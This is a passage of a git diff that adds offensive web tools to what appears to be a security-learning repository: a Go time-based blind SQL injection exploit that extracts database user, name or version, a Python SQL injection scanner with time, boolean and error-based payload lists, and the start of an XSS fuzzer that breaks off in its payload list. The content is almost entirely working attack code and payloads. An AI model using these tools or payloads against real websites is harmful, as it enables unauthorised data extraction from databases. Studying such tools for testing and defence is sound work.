SUBSTRING((%s),%d,1)='%c' THEN pg_sleep(1) END-- -", query, pos, char) + } + + start := time.Now() + s.SendRequest(payload) + elapsed := time.Since(start) + + if elapsed >= 900*time.Millisecond { + result.WriteByte(byte(char)) + found = true + fmt.Printf("\r%s[+]%s Extracted: %s", colorGreen, colorEnd, result.String()) + break + } + } + } + + if !found { + break + } + } + + fmt.Println() + return result.String() +} + +func main() { + target := flag.String("u", "", "Target URL") + method := flag.String("m", "GET", "HTTP Method (GET/POST)") + param := flag.String("p", "id", "Parameter to inject") + threads := flag.Int("t", 5, "Number of threads") + timeout := flag.Duration("timeout", 10*time.Second, "Request timeout") + technique := flag.String("technique", "time", "Injection technique (time/error/bool)") + extract := flag.String("extract", "", "Data to extract (user/database/version)") + query := flag.String("query", "", "Custom SQL query") + dbms := flag.String("dbms", "mysql", "Database type (mysql/mssql/postgresql)") + + flag.Parse() + + if *target == "" { + fmt.Printf("%s[ERROR]%s Target URL is required. Use -u flag.\n", colorRed, colorEnd) + flag.Usage() + return + } + + fmt.Printf("\n%s%s%s\n", colorBold, strings.Repeat("=", 60), colorEnd) + fmt.Printf("%sSQL Injection Exploit Tool (Go)%s\n", colorBold, colorEnd) + fmt.Printf("%s%s%s\n\n", colorBold, strings.Repeat("=", 60), colorEnd) + + exploit := NewSQLiExploit(*target, *method, *param, *threads, *timeout) + + fmt.Printf("%s[INFO]%s Target: %s\n", colorBlue, colorEnd, *target) + fmt.Printf("%s[INFO]%s Method: %s\n", colorBlue, colorEnd, *method) + fmt.Printf("%s[INFO]%s Parameter: %s\n", colorBlue, colorEnd, *param) + fmt.Printf("%s[INFO]%s Technique: %s\n", colorBlue, colorEnd, *technique) + + timePayloads := []struct { + Payload string + DBMS string + Delay time.Duration + }{ + {"1' AND SLEEP(1)-- -", "MySQL", 1 * time.Second}, + {"1' AND (SELECT SLEEP(1))-- -", "MySQL", 1 * time.Second}, + {"1'; WAITFOR DELAY '0:0:1'-- -", "MSSQL", 1 * time.Second}, + {"1' AND pg_sleep(1)-- -", "PostgreSQL", 1 * time.Second}, + {"1' AND (SELECT dbms_pipe.receive_message('a',1) FROM dual)-- -", "Oracle", 1 * time.Second}, + } + + errorPayloads := []struct { + Payload string + Type string + }{ + {"'", "Single Quote"}, + {"\"", "Double Quote"}, + {"' OR 1=1-- -", "OR Injection"}, + {"' AND 1=1-- -", "AND Injection"}, + {"' UNION SELECT NULL-- -", "UNION"}, + } + + var allResults []InjectionResult + + fmt.Printf("\n%s[*]%s Testing Time-based Injection...\n", colorCyan, colorEnd) + timeResults := exploit.TestTimeBased(timePayloads) + allResults = append(allResults, timeResults...) + + fmt.Printf("\n%s[*]%s Testing Error-based Injection...\n", colorCyan, colorEnd) + errorResults := exploit.TestErrorBased(errorPayloads) + allResults = append(allResults, errorResults...) + + if *extract != "" || *query != "" { + var extractQuery string + switch *extract { + case "user": + switch *dbms { + case "mysql": + extractQuery = "SELECT user()" + case "mssql": + extractQuery = "SELECT SYSTEM_USER" + case "postgresql": + extractQuery = "SELECT current_user" + } + case "database": + switch *dbms { + case "mysql": + extractQuery = "SELECT database()" + case "mssql": + extractQuery = "SELECT DB_NAME()" + case "postgresql": + extractQuery = "SELECT current_database()" + } + case "version": + switch *dbms { + case "mysql": + extractQuery = "SELECT version()" + case "mssql": + extractQuery = "SELECT @@version" + case "postgresql": + extractQuery = "SELECT version()" + } + default: + extractQuery = *query + } + + if extractQuery != "" { + result := exploit.ExtractData(extractQuery, *technique, *dbms, 100) + fmt.Printf("\n%s[+]%s Result: %s\n", colorGreen, colorEnd, result) + } + } + + fmt.Printf("\n%s%s%s\n", colorBold, strings.Repeat("=", 60), colorEnd) + fmt.Printf("%s[SUMMARY]%s Found %d vulnerabilities\n", colorGreen, colorEnd, len(allResults)) + for _, r := range allResults { + fmt.Printf(" - [%s] %s - %s\n", r.VulnType, r.DBMS, r.Payload) + } + fmt.Printf("%s%s%s\n\n", colorBold, strings.Repeat("=", 60), colorEnd) +} diff --git a/01-sql-injection/tools/sqli-scanner.py b/01-sql-injection/tools/sqli-scanner.py new file mode 100644 index 00000000..244459b7 --- /dev/null +++ b/01-sql-injection/tools/sqli-scanner.py @@ -0,0 +1,363 @@ +#!/usr/bin/env python3 +""" +SQL Injection Scanner +自动检测SQL注入漏洞点 + +支持: +- GET/POST 参数注入 +- Cookie 注入 +- Header 注入 +- 时间盲注检测 +- 布尔盲注检测 +- 报错注入检测 + +Usage: + python3 sqli-scanner.py -u "http://target.com/page?id=1" + python3 sqli-scanner.py -u "http://target.com" --data "id=1&name=test" + python3 sqli-scanner.py -u "http://target.com" --cookie "id=1" +""" + +import argparse +import requests +import re +import time +import urllib.parse +from concurrent.futures import ThreadPoolExecutor, as_completed +from typing import List, Dict, Tuple, Optional +import sys + + +class Colors: + RED = "\033[91m" + GREEN = "\033[92m" + YELLOW = "\033[93m" + BLUE = "\033[94m" + END = "\033[0m" + BOLD = "\033[1m" + + +class SQLiScanner: + def __init__(self, timeout: int = 10, threads: int = 5): + self.timeout = timeout + self.threads = threads + self.session = requests.Session() + self.session.headers.update( + { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" + } + ) + + self.error_patterns = [ + r"SQL syntax.*MySQL", + r"Warning.*mysql_.*", + r"MySqlException", + r"PostgreSQL.*ERROR", + r"Warning.*pg_.*", + r"Invalid query: pg_", + r"ORA-\d{5}", + r"Oracle.*Driver", + r"Warning.*oci_.*", + r"Microsoft SQL Server", + r"ODBC SQL Server Driver", + r"SQLite.*error", + r"sqlite3.OperationalError", + r"Syntax error.*SQLite", + r"Warning.*sqlite_", + r"DB2 SQL error", + r"DB2 SQLSTATE", + r"Dynamic SQL Error", + r"Warning.*ibase_", + r"PLS-\d{5}", + r"ORA-\d{5}", + r"Error.*SQL.*", + r"Exception.*SQL", + r"SQLSTATE\[\d+\]", + r"mysql_fetch", + r"mysql_num_rows", + r"pg_query", + r"mysql_query", + ] + + self.time_payloads = [ + ("' AND SLEEP(5)-- -", "MySQL"), + ("' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -", "MySQL"), + ("'; WAITFOR DELAY '0:0:5'-- -", "MSSQL"), + ("' AND 1=1; WAITFOR DELAY '0:0:5'-- -", "MSSQL"), + ("' AND pg_sleep(5)-- -", "PostgreSQL"), + ("' OR (SELECT pg_sleep(5))-- -", "PostgreSQL"), + ("' AND (SELECT dbms_pipe.receive_message('a',5) FROM dual)-- -", "Oracle"), + ("'||dbms_pipe.receive_message(chr(99),5)-- -", "Oracle"), + ] + + self.bool_payloads = [ + ("' AND 1=1-- -", "' AND 1=2-- -", "Boolean-based"), + ("' OR '1'='1", "' OR '1'='2", "Boolean-based"), + ("1 AND 1=1", "1 AND 1=2", "Boolean-based (numeric)"), + ("1 OR 1=1", "1 OR 1=2", "Boolean-based (numeric)"), + ] + + self.error_payloads = [ + ("'", "Single quote"), + ('"', "Double quote"), + ("\\", "Backslash"), + ("')", "Single quote parenthesis"), + ('")', "Double quote parenthesis"), + ("' OR 1=1-- -", "OR injection"), + ( + "' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))-- -", + "MSSQL error", + ), + ( + "' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))-- -", + "MySQL error", + ), + ("' AND 1=CAST((SELECT version()) AS INT)-- -", "PostgreSQL error"), + ] + + def print_result(self, level: str, msg: str): + colors = { + "INFO": Colors.BLUE, + "SUCCESS": Colors.GREEN, + "WARNING": Colors.YELLOW, + "ERROR": Colors.RED, + "VULN": Colors.RED + Colors.BOLD, + } + print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}") + + def test_error_based( + self, + url: str, + param: str, + method: str = "GET", + data: Dict = None, + cookies: Dict = None, + ) -> Tuple[bool, Optional[str]]: + """测试报错注入""" + original_resp = self._request(url, method, data, cookies) + if not original_resp: + return False, None + + original_len = len(original_resp.text) + + for payload, desc in self.error_payloads: + test_data = data.copy() if data else {} + test_data[param] = payload + + resp = self._request(url, method, test_data, cookies) + if not resp: + continue + + for pattern in self.error_patterns: + if re.search(pattern, resp.text, re.IGNORECASE): + return ( + True, + f"[报错注入] {param} - Payload: {payload} - 类型: {desc} - 匹配: {pattern}", + ) + + if abs(len(resp.text) - original_len) > 500: + return ( + True, + f"[报错注入] {param} - Payload: {payload} - 响应长度差异: {abs(len(resp.text) - original_len)}", + ) + + return False, None + + def test_time_based( + self, + url: str, + param: str, + method: str = "GET", + data: Dict = None, + cookies: Dict = None, + ) -> Tuple[bool, Optional[str]]: + """测试时间盲注""" + for payload, db_type in self.time_payloads: + test_data = data.copy() if data else {} + test_data[param] = payload + + start_time = time.time() + resp = self._request(url, method, test_data, cookies, timeout=15) + elapsed = time.time() - start_time + + if elapsed >= 4.5: + return ( + True, + f"[时间盲注] {param} - Payload: {payload} - 数据库: {db_type} - 延迟: {elapsed:.2f}s", + ) + + return False, None + + def test_bool_based( + self, + url: str, + param: str, + method: str = "GET", + data: Dict = None, + cookies: Dict = None, + ) -> Tuple[bool, Optional[str]]: + """测试布尔盲注""" + for true_payload, false_payload, desc in self.bool_payloads: + test_data_true = data.copy() if data else {} + test_data_true[param] = true_payload + + test_data_false = data.copy() if data else {} + test_data_false[param] = false_payload + + resp_true = self._request(url, method, test_data_true, cookies) + resp_false = self._request(url, method, test_data_false, cookies) + + if not resp_true or not resp_false: + continue + + diff = abs(len(resp_true.text) - len(resp_false.text)) + + if diff > 100: + return ( + True, + f"[布尔盲注] {param} - True: {true_payload} - False: {false_payload} - 长度差: {diff}", + ) + + true_text = resp_true.text.lower() + false_text = resp_false.text.lower() + + if ( + "success" in true_text or "welcome" in true_text or "admin" in true_text + ) and ( + "error" in false_text or "fail" in false_text or "wrong" in false_text + ): + return True, f"[布尔盲注] {param} - 关键词差异检测到 - {desc}" + + return False, None + + def _request( + self, + url: str, + method: str, + data: Dict = None, + cookies: Dict = None, + timeout: int = None, + ) -> Optional[requests.Response]: + """发送HTTP请求""" + try: + if method.upper() == "GET": + params = urllib.parse.urlencode(data) if data else "" + full_url = f"{url}?{params}" if params else url + return self.session.get( + full_url, + cookies=cookies, + timeout=timeout or self.timeout, + verify=False, + ) + else: + return self.session.post( + url, + data=data, + cookies=cookies, + timeout=timeout or self.timeout, + verify=False, + ) + except requests.exceptions.RequestException as e: + return None + + def scan_url( + self, + url: str, + method: str = "GET", + data: Dict = None, + cookies: Dict = None, + params: List[str] = None, + ) -> List[str]: + """扫描URL""" + results = [] + + if not params: + if method == "GET": + parsed = urllib.parse.urlparse(url) + params = list(urllib.parse.parse_qs(parsed.query).keys()) + else: + params = list(data.keys()) if data else [] + + if not params: + self.print_result("WARNING", f"未找到可测试的参数") + return results + + self.print_result("INFO", f"开始扫描 {len(params)} 个参数: {', '.join(params)}") + + for param in params: + self.print_result("INFO", f"测试参数: {param}") + + vuln, msg = self.test_error_based(url, param, method, data, cookies) + if vuln: + results.append(msg) + self.print_result("VULN", msg) + continue + + vuln, msg = self.test_bool_based(url, param, method, data, cookies) + if vuln: + results.append(msg) + self.print_result("VULN", msg) + continue + + vuln, msg = self.test_time_based(url, param, method, data, cookies) + if vuln: + results.append(msg) + self.print_result("VULN", msg) + + return results + + +def main(): + parser = argparse.ArgumentParser(description="SQL Injection Scanner") + parser.add_argument("-u", "--url", required=True, help="目标URL") + parser.add_argument( + "-m", "--method", default="GET", choices=["GET", "POST"], help="HTTP方法" + ) + parser.add_argument("-d", "--data", help="POST数据 (格式: id=1&name=test)") + parser.add_argument("-c", "--cookie", help="Cookie") + parser.add_argument("-p", "--params", help="指定参数 (逗号分隔)") + parser.add_argument("-t", "--threads", type=int, default=5, help="线程数") + parser.add_argument("--timeout", type=int, default=10, help="超时时间") + + args = parser.parse_args() + + requests.packages.urllib3.disable_warnings() + + scanner = SQLiScanner(timeout=args.timeout, threads=args.threads) + + data = {} + if args.data: + for pair in args.data.split("&"): + if "=" in pair: + k, v = pair.split("=", 1) + data[k] = v + + cookies = {} + if args.cookie: + for pair in args.cookie.split(";"): + if "=" in pair: + k, v = pair.strip().split("=", 1) + cookies[k] = v + + params = args.params.split(",") if args.params else None + + print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}") + print(f"{Colors.BOLD}SQL Injection Scanner{Colors.END}") + print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n") + + scanner.print_result("INFO", f"目标: {args.url}") + scanner.print_result("INFO", f"方法: {args.method}") + + results = scanner.scan_url(args.url, args.method, data, cookies, params) + + print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}") + if results: + scanner.print_result("SUCCESS", f"发现 {len(results)} 个SQL注入漏洞!") + for r in results: + print(f" - {r}") + else: + scanner.print_result("INFO", "未发现SQL注入漏洞") + print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n") + + +if __name__ == "__main__": + main() diff --git a/02-xss/tools/xss-fuzzer.py b/02-xss/tools/xss-fuzzer.py new file mode 100644 index 00000000..2fba0041 --- /dev/null +++ b/02-xss/tools/xss-fuzzer.py @@ -0,0 +1,409 @@ +#!/usr/bin/env python3 +""" +XSS Fuzzer - XSS Payload 模糊测试工具 + +支持: +- 反射型 XSS 检测 +- 存储型 XSS 检测 +- DOM 型 XSS 检测 +- CSP 绕过测试 +- 自定义 Payload + +Usage: + python3 xss-fuzzer.py -u "http://target.com/search?q=test" + python3 xss-fuzzer.py -u "http://target.com/comment" -d "comment=test" -m POST + python3 xss-fuzzer.py -u "http://target.com" --dom-scan +""" + +import argparse +import requests +import re +import urllib.parse +from typing import List, Dict, Tuple, Optional +import time + + +class Colors: + RED = "\033[91m" + GREEN = "\033[92m" + YELLOW = "\033[93m" + BLUE = "\033[94m" + CYAN = "\033[96m" + END = "\033[0m" + BOLD = "\033[1m" + + +class XSSFuzzer: + def __init__(self, timeout: int = 10): + self.timeout = timeout + self.session = requests.Session() + self.session.headers.update( + { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" + } + ) + + self.payloads = { + "basic": [ + "", + "", + "", + "", + "", + "", + "", + "", + "